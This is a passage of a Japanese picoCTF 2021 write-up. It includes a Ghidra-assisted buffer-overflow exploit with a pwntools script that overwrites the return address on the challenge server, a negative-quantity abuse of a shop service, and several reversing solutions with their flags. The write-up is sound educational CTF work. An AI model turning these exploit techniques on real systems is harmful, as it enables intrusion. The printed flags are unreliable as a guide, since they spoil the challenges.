            return
        already_passed.add(addr)
        for ref in getReferencesTo(addr):
            from_addr = ref.getFromAddress()
            f = fm.getFunctionContaining(from_addr)
            if not f:
                continue
            if f.getEntryPoint() in already_passed:
                continue
            for ta in target_addr:
                if f.getEntryPoint().getOffset() == ta.getOffset():
                    print("found!!!!!!!!!!!!!!!!!!!!!!!")
                    print(addr, parent_addr, f, from_addr)
                    paths[parent_addr] = {addr:f.getEntryPoint()}
                    results.append(f.getEntryPoint())
                    return
            paths[parent_addr] = {addr:None}
            find_recursive(f.getEntryPoint(), addr, paths[parent_addr], depth=depth+1)
    paths = {}
    find_recursive(bof_func.getEntryPoint(), toAddr(0), paths)
    print("[+] finish!")
    print("*** path ***")
    print(paths)

def fizzbuzz(n):
    s = []
    for i in range(1, n+1):
        if i % 15 == 0:
            s.append("fizzbuzz")
        elif i % 3 == 0:
            s.append("fizz")
        elif i % 5 == 0:
            s.append("buzz")
        else:
            s.append(str(i))
    return "\n".join(s) + "\n"

# Find all `call <func>` in the given func
def find_calls(func, target=None, avoid=None):
    calls = []
    inst = getInstructionAt(func.getEntryPoint())
    while True:
        iaddr = inst.getInstructionContext().getAddress()
        mnemo = inst.getMnemonicString()
        if mnemo == "CALL":
            call_func = inst.getOpObjects(0)[0]
            if target and call_func == target:
                calls.append((iaddr, call_func))
                continue
            if not avoid or (avoid and call_func not in avoid):
                calls.append((iaddr, call_func))
        if getFunctionContaining(iaddr) != func:
            break
        inst = inst.getNext()
    return calls

def solve_fizzbuzz(call_addr):
    # push <val>
    # call FUN_080486b1
    push = getInstructionBefore(call_addr)
    val = push.getOpObjects(0)[0].getValue()
    return fizzbuzz(val - 1)

def gen_payload():
    payload = ""
    paths = [0x813ca30, 0x8143ffd, 0x81313b8, 0x8109f08, 0x808ae73]
    for im in INNER_MAIN_FUNCS:
        if im == paths[0]:
            break
        first = find_calls(getFunctionAt(toAddr(im)), avoid=GET_PC_THUNK)[0]
        payload += solve_fizzbuzz(first[0])

    print("[+] path 1: done!")

    for idx in range(len(paths) - 2):
        first_func_addr = paths[idx]
        print("[+] path %d (%s): start!" % (idx + 2, hex(first_func_addr)))
        calls = find_calls(getFunctionAt(toAddr(first_func_addr)), avoid=GET_PC_THUNK)
        for i in range(0, len(calls), 2):
            caddr, ctarget = calls[i]
            caddr_if, ctarget_if = calls[i+1]
            # debug print
            print("out: FUN_%s" % (hex(ctarget.getOffset())))
            print("in : FUN_%s" % (hex(ctarget_if.getOffset())))
            if ctarget_if.getOffset() != paths[idx+1]:
                payload += "0\n"
                ct_if_func = getFunctionAt(ctarget_if)
                first = find_calls(ct_if_func, avoid=GET_PC_THUNK)[0]
                payload += solve_fizzbuzz(first[0])
            else:
                payload += "0\n"
                break
        print("[+] path %d (%s): done!" % (idx + 2, hex(first_func_addr)))

    # 0x8109f08: manual input
    # if local_10 == 5 then call 0x808ae73
    payload += fizzbuzz(5 - 1)
    payload += "0\n"
    ## 0x808ae73: manual input
    ## if local_10 == 1 then call vuln fgets
    payload += "0\n"
    # save payload
    with open("/<homepath>/payload.txt", "w") as f:
        f.write(payload)
    print("[+] done!")

このスクリプトの主な関数は以下の3つです

  • find_bof: BOFできる関数を探す関数
    • fgetsを呼び出している場所を見つけて第二引数を調べる
    • 第二引数がスタック上に確保した領域より大きいか調べる
    • 大きければBOFできる関数として返す
  • find_path: BOFできる関数へたどり着くための分岐を求める関数
  • gen_payload: BOFできる関数へたどり着くための入力を生成する関数

Ghidra上のPythonインタプリタ上でgen_payload関数を実行するとホームディレクトリにpayload.txtが生成されます。

Python Interpreter for Ghidra
Based on Jython version 2.7.2 (v2.7.2:925a3cc3b49d, Mar 21 2020, 10:03:58)
[Java HotSpot(TM) 64-Bit Server VM (Oracle Corporation)]
Press 'F1' for usage instructions
>>> from bizzfuzz import *
>>> find_bof()
found BOF!
('func:', FUN_0808ae73, 0808ae73)
('addr:', 0808aeb0)
(348L, 103)
FUN_0808ae73 # BOFの脆弱性がある関数
>>> find_path()
found BOF!
('func:', FUN_0808ae73, 0808ae73)
('addr:', 0808aeb0)
(348L, 103)
[+] start!
found!!!!!!!!!!!!!!!!!!!!!!!
(08143ffd, 081313b8, FUN_0813ca30, 0813cb2e)
[+] finish!
*** path ***
{00000000: {0808ae73: {08109f08: {081313b8: {08143ffd: 0813ca30}}}}}
>>> # find_pathの結果から
>>> # main -> 0x813ca30 -> 0x8143ffd -> 0x81313b8 -> 0x8109f08 -> 0x808ae73
>>> gen_payload()
[+] path 1: done!
[+] path 2 (0x813ca30): start!
out: FUN_0x80486b1L
in : FUN_0x813282aL
...
out: FUN_0x80486b1L
in : FUN_0x8109f08L
[+] path 4 (0x81313b8): done!
[+] done!

あとは生成されたpayloadを送信して、BOFを利用してリターンアドレスをFUN_08048656書き換えるとフラグが手に入ります。

from pwn import *

show_flag = 0x8048656
offset = 103

p = remote("mercury.picoctf.net", 26424)

with open("payload.txt") as f:
    for line in f.readlines():
            # 改行があるとfgetsの部分でこけるため
        if line.rstrip() == "0":
            p.send(b"A" * 9)
        else:
            p.sendline(line.rstrip())
    # overwrite retaddr
    payload = b"A" * offset
    payload += p32(show_flag)
    p.sendline(payload)
    p.interactive()
[+] Opening connection to mercury.picoctf.net on port 26424: Done
[*] Switching to interactive mode
1? 2? 3? 1? 2? 3? 4? 5? 6? fizz
1? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? fizz
buzz
1? 2? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? fizzbuzz
1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? fizz
buzz
1? 2? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? fizzbuzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 1? 2? 3? 4? 5? 6? 7? 8? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz
buzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizz
1? 2? 3? 4? 5? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? fizzbuzz
1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? fizz
buzz
1? 2? 3? 4? 5? 6? 7? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizzbuzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? buzz
fizz
1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 1? 1? 2? 3? 4? 5? 6? 1? 1?
 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4?
5? 6? 7? 8? 9? 1? 1? 1? 1? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1?
1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 1? 1? 2? 3? 1? 1? 2? 3? 4? 5? 6? 7? 8
? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1?
1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 1? 2? 3? 4? 5? 6? 7? 8? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12
? 13? 1? 1? 2? 3? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 1? picoCTF{y0u_found_m3}

[*] Got EOF while reading in interactive

Reversing

Transformation

encというファイルが与えられます。

問題文を見ると

''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

と書かれています。これをもとにencを復元するコードを書けばフラグが手に入ります。

enc = open("enc").read()

flag = ""
for e in enc:
    flag += chr((ord(e) & 0xff00) >> 8)
    flag += chr(ord(e) & 0xff)

print(flag)
$ python solve.py
picoCTF{16_bits_inst34d_of_8_04c0760d}

keygenme-py

keygenme-trial.pyというファイルが渡されます。その中のcheck_key関数に着目します。

def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False
            print(f"{i}: ok!")
            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False

        return True

key_full_template_trialusername_trialはkeygenme-trial.pyに書かれているため、keyを求めることができます。

import hashlib

key = "picoCTF{1n_7h3_|<3y_of_"
username_trial = b"PRITCHARD"

key += hashlib.sha256(username_trial).hexdigest()[4] \
    + hashlib.sha256(username_trial).hexdigest()[5] \
    + hashlib.sha256(username_trial).hexdigest()[3] \
    + hashlib.sha256(username_trial).hexdigest()[6] \
    + hashlib.sha256(username_trial).hexdigest()[2] \
    + hashlib.sha256(username_trial).hexdigest()[7] \
    + hashlib.sha256(username_trial).hexdigest()[1] \
    + hashlib.sha256(username_trial).hexdigest()[8]

print(key + "}")
$ python solve.py
picoCTF{1n_7h3_|<3y_of_54ef6292}

crackme-py

decode_secret関数にbezos_cc_secretという変数を渡すとフラグが得られます。

bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"

# Reference alphabet
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

def decode_secret(secret):
    """ROT47 decode

    NOTE: encode and decode are the same operation in the ROT cipher family.
    """

    # Encryption key
    rotate_const = 47

    # Storage for decoded secret
    decoded = ""

    # decode loop
    for c in secret:
        index = alphabet.find(c)
        original_index = (index + rotate_const) % len(alphabet)
        decoded = decoded + alphabet[original_index]

    print(decoded)

decode_secret(bezos_cc_secret)
$ python solve.py
picoCTF{1|\/|_4_p34|\|ut_dd2c4616}

ARMssembly_0

armアセンブリが渡されます。

適当にarmアセンブリについて調べるといろいろ情報が出てくるので、それを参考に渡されたアセンブリコードを読んでいきます。

また、Compiler explorerを使うとC言語をarmアセンブリに変換できるので、うまく読み取れているか確認できます。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func1(int a, int b) {
    return b <= a ? b : a;
}

int main(int argc, char *argv[]) {
    int a = atoi(argv[1]);
    int b = atoi(argv[2]);
    printf("Result: %d\n", func1(a, b));
}

与えられた2つの引数の内大きい方を出力するだけのプログラムです。

What integer does this program print with arguments 1765227561 and 1830628817?

と問題文にあるので17652275611830628817の内大きい方、つまり1830628817を16進8桁の値にしてpicoCTF{}で包んだpicoCTF{6d1d2dd1}がフラグとなります。

speeds and feeds

nc mercury.picoctf.net 7032に接続すると以下の文字列が得られました(長いので一部だけ)

G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310

ヒントを見るとWhat language does a CNC machine use?と書かれていたので、CNCについて調べてみるとGコードなるものが見つかりました。

Gコードに従って線を引くプログラムを作成し実行するとフラグが出てきました。

from PIL import Image, ImageDraw, ImageOps
import re

data: str = open("data").read()

img = Image.new(("L"), (2000, 500))
draw = ImageDraw.Draw(img)

current_pos = ()

for line in data.splitlines()[1:]:
    if line.startswith("G0Z") or line.startswith("G1Z"):
        continue
    m = re.match(r"G([01])X([0-9]+?\.[0-9]+)Y(\-?[0-9]+\.[0-9]+)", line)
    mode, x, y = m.groups()
    if mode == "0":
        current_pos = (float(x) * 10, 250 + float(y) * 10)
    else:
        x1, y1 = current_pos
        x2, y2 = float(x) * 10, 250 + float(y) * 10
        draw.line((x1, y1, x2, y2), fill=(255))
        current_pos = (x2, y2)

img = ImageOps.flip(img)
img.show()
$ nc mercury.picoctf.net 7032 > data
$ python solve.py

f:id:miso_24:20210408184636p:plain

Shop

mercury.picoctf.net 34938で以下のようなプログラムが動作しています。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
4
You have 0 coins
    Item        Price   Count
(0) Quiet Quiches   10  8
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
4

Fruitful Flagを購入するとフラグが手に入りそうなのですが所持金は40 coinしかなく買えません。

そこで、Quiet Quichesを購入し個数を入力する時に負数を入力してみます。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-10
You have 140 coins
    Item        Price   Count
(0) Quiet Quiches   10  8
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:

そうすると、所持金が増えていることが確認できます。これでFruitful Flagを購入することができます。

nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
    Item        Price   Count
(0) Quiet Quiches   10  12
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-6
You have 100 coins
    Item        Price   Count
(0) Quiet Quiches   10  18
(1) Average Apple   15  8
(2) Fruitful Flag   100 1
(3) Sell an Item
(4) Exit
Choose an option:
2
How many do you want to buy?
1
Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]

後は文字列に変換するだけです。

$ python -c 'print("".join(chr(c) for c in [112, 105, 99, 111, 67, 84, 70, 123, 98, 52, 100, 95, 98, 114, 111, 103, 114, 97, 109, 109, 101, 114, 95, 98, 97, 54, 98, 56, 99, 100, 102, 125]))'
picoCTF{b4d_brogrammer_ba6b8cdf}

ARMssembly_1

ARMssembly_0と同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func(int a) {
    int b = 85;
    int c = 6;
    int d = 3;
    int e = b << c;
    e = e / d;
    e = e - a;
    return e;
}

int main(int argc, char *argv[]) {
    int tmp = atoi(argv[1]);
    if (func(tmp) == 0) {
        puts("You Win!");
    } else {
        puts("You Lose :(");
    }
}

上のコードより(85 << 6) / 3を計算した値を入力するとeが0になり、You Win!が表示されます。

よって1813を16進8桁の値にしてpicoCTF{}で包んだpicoCTF{00000715}がフラグとなります。

ARMssembly 2

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

unsigned long func(unsigned long a) {
    unsigned long tmp = 0;
    for (unsigned long i = 0; i < a; i++) {
        tmp += 3;
    }
    return tmp;
}

int main(int argc, char *argv[]) {
  unsigned long tmp = atoi(argv[1]);
  printf("Result: %ld\n", func(tmp));
}

実行時に与えられた第一引数を整数に変換し3倍しているだけです。

よって3848786505を3倍して16進数に変換し下8桁をpicoCTF{}で包んだpicoCTF{b03776db}がフラグとなります。

ARMssembly 3

他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func2(int a) {
    return a + 3;
}

int func1(int a) {
    int var_2 = 0;
    for (int i = a; a != 0; a >> 1) {
        if (i & 1 != 0) {
            var_2 = func2(var_2);
        }
    }
}

int main(int argc, char *argv[]) {
    int tmp = atoi(argv[1]);
    printf("Result: %ld", func1(tmp));
}

実行時に与えられた第一引数を整数に変換し、その値に立っているビットを数えて3倍するだけです。

3350728462を与えたときの結果を16進8桁にしたものは以下のようになります

$ python -c 'print("{:08x}".format(bin(3350728462).count("1")*3))'
00000030

よって、picoCTF{00000030}がフラグとなります。

gogo

enter_passwordというgoで書かれたプログラムのバイナリが渡されます。実行するとパスワードの入力を促されます。

$ ./enter_password
Enter Password:

とりあえずでコンパイルしてmain関数を見ていきます。

void main.main(void)

{
  uint *puVar1;
  int iVar2;
  int *in_GS_OFFSET;
  undefined4 *in_stack_ffffffac;
  undefined4 *puVar3;
  char cVar4;
  undefined *local_30;
  undefined **local_2c;
  undefined *local_28;
  undefined **local_24;
  undefined *local_20;
  undefined **local_1c;
  undefined *local_18 [2];
  undefined *local_10;
  undefined **local_c;
  undefined *local_8;
  undefined4 *local_4;
  undefined **ppuVar5;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (register0x00000010 < (undefined *)*puVar1 ||
      (undefined *)register0x00000010 == (undefined *)*puVar1) {
    local_4 = (undefined4 *)0x80d4a7b;
    runtime.morestack_noctxt();
    main.main();
    return;
  }
  runtime.newobject(&DAT_080e8860);
  fmt.Printf(&DAT_080fea50,0x10,0,0,0);
  local_18[0] = &DAT_080e1300;
  ppuVar5 = local_18;
  fmt.Scanf(&DAT_080fd1b6,3,ppuVar5,1,1);
  cVar4 = (char)ppuVar5;
  main.checkPassword(*in_stack_ffffffac,in_stack_ffffffac[1]);
  if (cVar4 == '\0') {
    local_10 = &DAT_080e8860;
    local_c = &main.statictmp_3;
    fmt.Println(&local_10,1,1);
  }
  else {
    local_20 = &DAT_080e8860;
    local_1c = &main.statictmp_0;
    fmt.Println(&local_20,1,1);
    local_28 = &DAT_080e8860;
    local_24 = &main.statictmp_1;
    fmt.Println(&local_28,1,1);
    local_30 = &DAT_080e8860;
    local_2c = &main.statictmp_2;
    puVar3 = (undefined4 *)0x1;
    fmt.Println(&local_30,1,1);
    runtime.newobject(&DAT_080e8860);
    local_8 = &DAT_080e1300;
    local_4 = puVar3;
    fmt.Scanf(&DAT_080fd1b6,3,&local_8,1,1);
    main.ambush(*puVar3,puVar3[1]);
    iVar2 = runtime.deferproc(0,&PTR_main.get_flag_081046a0);
    if (iVar2 != 0) {
      runtime.deferreturn();
      return;
    }
  }
  runtime.deferreturn();
  return;
}

main.checkPassword関数でパスワードをチェックした後にもう一度入力を受け付けてmain.ambush関数を呼んでおり、その後にmain.get_flagが呼び出されそうです。

まず、main.checkPassword関数を見ていきます。

void main.checkPassword(int param_1,uint param_2,undefined param_3)

{
  uint *puVar1;
  uint uVar2;
  int iVar3;
  int *in_GS_OFFSET;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  byte local_20 [28];
  undefined4 uStack4;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (register0x00000010 < (undefined *)*puVar1 ||
      (undefined *)register0x00000010 == (undefined *)*puVar1) {
    uStack4 = 0x80d4b72;
    runtime.morestack_noctxt();
    main.checkPassword();
    return;
  }
  if ((int)param_2 < 0x20) {
    os.Exit(0);
  }
  FUN_08090b18();
  local_40 = 0x38313638;
  local_3c = 0x31663633;
  local_38 = 0x64336533;
  local_34 = 0x64373236;
  local_30 = 0x37336166;
  local_2c = 0x62646235;
  local_28 = 0x39383338;
  local_24 = 0x65343132;
  FUN_08090fe0();
  uVar2 = 0;
  iVar3 = 0;
  while( true ) {
    if (0x1f < (int)uVar2) {
      if (iVar3 == 0x20) {
        return;
      }
      return;
    }
    if ((param_2 <= uVar2) || (0x1f < uVar2)) break;
    if ((*(byte *)(param_1 + uVar2) ^ *(byte *)((int)&local_40 + uVar2)) == local_20[uVar2]) {
      iVar3 = iVar3 + 1;
    }
    uVar2 = uVar2 + 1;
  }
  runtime.panicindex();
  do {
    invalidInstructionException();
  } while( true );
}

この関数を詳しく読んでPythonで書き直すと以下のようになります。

def checkPassword(inp: bytes, inp_len: int):
        local_20 = b"\x4a\x53\x47\x5d\x41\x45\x03\x54\x5d\x02\x5a\x0a\x53\x57\x45\x0d\x05\x00\x5d\x55\x54\x10\x01\x0e\x41\x55\x57\x4b\x45\x50\x46\x01"
    local_40 = b"861836f13e3d627dfa375bdb8389214e"
    
    if inp_len < 0x20:
      exit(0)
    
    uVar2 = 0
    iVar3 = 0
    while True:
        if 0x1f < uVar2:
            if iVar3 == 0x20:
                return 1
            else:
                return 0
        if inp[uVar2] ^ local_40[uVar2] == local_20[uVar2]:
            iVar3 += 1
        uVar2 += 1

書き直したPythonコードから正しいパスワードとlocal_40でxorをとったものがlocal_20になればいいとわかるので、local_40とlocal_20でxorをとればパスワードが求められます。よって、パスワードはreverseengineericanbarelyforwardだとわかります。

次に、main.ambush関数を見ていきます。

void main.ambush(undefined4 param_1,undefined4 param_2)

{
  uint *puVar1;
  char cVar2;
  uint i;
  int *in_GS_OFFSET;
  int local_88;
  uint local_84;
  uint local_80;
  undefined local_70 [16];
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined local_40 [32];
  undefined local_20 [12];
  undefined local_14 [16];
  undefined4 uStack4;
  
  puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8);
  if (local_14 < (undefined *)*puVar1 || local_14 == (undefined *)*puVar1) {
    uStack4 = 0x80d4e4b;
    runtime.morestack_noctxt();
    main.ambush();
    return;
  }
  runtime.stringtoslicebyte(local_40,param_1,param_2);
  crypto/md5.Sum(local_88,local_84,local_80);
  FUN_08091008();
  FUN_08090b18();
  local_60 = 0x38313638;
  local_5c = 0x31663633;
  local_58 = 0x64336533;
  local_54 = 0x64373236;
  local_50 = 0x37336166;
  local_4c = 0x62646235;
  local_48 = 0x39383338;
  local_44 = 0x65343132;
  uVar3 = 0;
  while( true ) {
    if (0xf < (int)uVar3) {
      return;
    }
    encoding/hex.EncodeToString(local_70,0x10,0x10);
    if (local_84 <= uVar3) break;
    cVar2 = *(char *)(uVar3 + local_88);
    local_88 = 0x20;
    runtime.slicebytetostring(local_20,&local_60,0x20);
    if (local_80 <= uVar3) break;
    if (cVar2 != *(char *)(local_84 + uVar3)) {
      os.Exit(0);
    }
    i = i + 1;
  }
  runtime.panicindex();
  do {
    invalidInstructionException();
  } while( true );
}

この関数をPythonで大まかに書き直すと以下のようになります。

import hashlib
import binascii

def ambush(inp: bytes, inp_len: int):
    local_60 = "861836f13e3d627dfa375bdb8389214e"
    local_88 = hashlib.md5(inp).digest()
    
    uVar3 = 0
    while True:
        if 0xf < uVar3:
            return
        cVar2 = local_88[uVar3]
        local_84 = binascii.unhexlify(local_60)
        if cVar2 != local_84[uVar3]:
            exit(0)
        uVar3 += 1

入力した文字列のmd5ハッシュを求め861836f13e3d627dfa375bdb8389214eかどうかチェックしているだけです。md5ハッシュが861836f13e3d627dfa375bdb8389214eとなる文字列をcrackstationで探すとgoldfishが見つかりました。

後は得られた2つの文字列を順番に入力すればフラグが手に入ります。

$ nc mercury.picoctf.net 35862
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?
goldfish
Flag is:  picoCTF{p1kap1ka_p1c05729981f}

Goで書かれたプログラムのデコンパイル結果は少し読みにくいので逆アセンブル結果も併せて読むと理解しやすいと思います。

Easy as GDB

bruteというELF形式の実行ファイルが与えられます。実行してみるとフラグの入力を求められます。

$ ./brute
input the flag: hogehoge
checking solution...
Incorrect.

Ghidraでデコンパイルしてmain関数を見ていきます。

undefined4 FUN_000109af(void)

{
  char *__s;
  size_t sVar1;
  undefined4 uVar2;
  int iVar3;
  
  __s = (char *)calloc(0x200,1);
  printf("input the flag: ");
  fgets(__s,0x200,stdin);
  sVar1 = strnlen(&DAT_00012008,0x200);
  uVar2 = FUN_0001082b(__s,sVar1);
  FUN_000107c2(uVar2,sVar1,1);
  iVar3 = FUN_000108c4(uVar2,sVar1);
  if (iVar3 == 1) {
    puts("Correct!");
  }
  else {
    puts("Incorrect.");
  }
  return 0;
}

fgetsで標準入力から文字列を受け取り、FUN_000107c2FUN_0001082bに渡しています。

FUN_000107c2は第一引数として与えられた文字列を並び替える関数で第三引数が1かそれ以外かで動作が異なります。FUN_000107c2の第三引数に1を与えて並び替えた後に、第三引数に1ではない値を与えてもう一度呼び出すと元の並びに戻る点が重要です。

FUN_0001082bは第一引数として与えられた文字列と何らかの値でxorを取る関数です。

FUN_000108c4の返り値を見て正解か不正解かを判断しているので、FUN_000108c4を見てみます。

undefined4 FUN_000108c4(char *param_1,uint param_2)

{
  char *__dest;
  char *__dest_00;
  uint local_18;
  
  __dest = (char *)calloc(param_2 + 1,1);
  strncpy(__dest,param_1,param_2);
  FUN_000107c2(__dest,param_2,0xffffffff);
  __dest_00 = (char *)calloc(param_2 + 1,1);
  strncpy(__dest_00,&DAT_00012008,param_2);
  FUN_000107c2(__dest_00,param_2,0xffffffff);
  puts("checking solution...");
  local_18 = 0;
  while( true ) {
    if (param_2 <= local_18) {
      return 1;
    }
    if (__dest[local_18] != __dest_00[local_18]) break;
    local_18 = local_18 + 1;
  }
  return 0xffffffff;
}

whileの部分を見ると__dest__dest_00を一文字ずつ比較し全て一致していれば1そうでなければ-1を返しています。

gdbを使ってwhile文に入る前の__dest__dest_00の中身を見てみます。

gdb -q brute
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from brute...(no debugging symbols found)...done.
pwndbg> b *0x56555953
Breakpoint 1 at 0x56555953
pwndbg> r
Starting program: /home/vagrant/picoCTF_2021/easy_as_gdb/brute
input the flag: hogehoge

Breakpoint 1, 0x56555953 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
 EAX  0x1e
 EBX  0x56556fb8 ◂— 0x1ec0
 ECX  0x56558bf0 ◂— 0x68406e2e ('.n@h')
 EDX  0x56558c0d ◂— 0x7a /* 'z' */
 EDI  0x0
 ESI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
 EBP  0xffffd8e8 —▸ 0xffffd918 ◂— 0x0
 ESP  0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
 EIP  0x56555953 ◂— add    esp, 0x10
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
 ► 0x56555953    add    esp, 0x10
   0x56555956    sub    esp, 0xc
   0x56555959    lea    eax, [ebx - 0x1468]
   0x5655595f    push   eax
   0x56555960    call   puts@plt <puts@plt>

   0x56555965    add    esp, 0x10
   0x56555968    mov    dword ptr [ebp - 0x18], 1
   0x5655596f    mov    dword ptr [ebp - 0x14], 0
   0x56555976    jmp    0x5655599f <0x5655599f>

   0x56555978    mov    edx, dword ptr [ebp - 0x10]
   0x5655597b    mov    eax, dword ptr [ebp - 0x14]
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd8c0 —▸ 0x56558bf0 ◂— 0x68406e2e ('.n@h')
01:0004│      0xffffd8c4 ◂— 0x1e
02:0008│      0xffffd8c8 ◂— 0xffffffff
03:000c│      0xffffd8cc —▸ 0x565558d0 ◂— add    ebx, 0x16e8
04:0010│      0xffffd8d0 ◂— 0x1e
